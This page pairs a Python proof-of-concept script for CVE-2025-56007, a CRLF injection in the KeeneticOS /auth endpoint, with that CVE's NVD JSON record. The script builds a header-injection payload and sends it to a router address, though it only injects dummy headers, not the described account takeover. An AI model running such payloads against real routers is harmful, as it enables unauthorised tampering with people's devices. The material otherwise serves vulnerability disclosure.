CVE-2025-56007

import requests # CVE-2025-56007 PoC - CRLF Injection in KeeneticOS /auth endpoint # This PoC demonstrates how an attacker can inject additional HTTP headers # by exploiting the CRLF injection vulnerability target = "http://192.168.1.1" auth_endpoint = f"{target}/auth" # CRLF injection payload - injects additional headers after the newline characters # The %0d%0a is URL-encoded \r\n (CRLF) injection_payload = "test\r\nX-Injected-Header: malicious\r\nX-Injected-Header2: pwned" # Malicious URL that will be sent when victim visits the page malicious_url = f"{auth_endpoint}?param={injection_payload}" print(f"[*] Target: {target}") print(f"[*] Auth Endpoint: {auth_endpoint}") print(f"[*] Crafted Payload: {injection_payload}") print(f"[*] Malicious URL: {malicious_url}") # Simulate the attack request try: headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', # The payload is injected via the Authorization header 'Authorization': f'Basic {injection_payload}', } response = requests.get(auth_endpoint, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Headers:") for key, value in response.headers.items(): print(f" {key}: {value}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2025-56007", "sourceIdentifier": "[email protected]", "published": "2025-10-23T15:15:39.097", "lastModified": "2026-05-20T20:16:33.837", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "CRLF-injection in KeeneticOS before 4.3 at \"/auth\" API endpoint allows attackers to take over the device via adding additional users with full permissions by managing the victim to open page with exploit."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:keenetic:keeneticos:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.3", "matchCriteriaId": "31463ACE-A8BB-4E5D-AA71-1BC479DE8AA4"}]}]}], "references": [{"url": "https://github.com/notdenied/writeups/blob/main/CVE/CVE-2025-56007.md", "source": "[email protected]"}, {"url": "https://keenetic.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://keenetic.com/global/security#october-2025-web-api-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}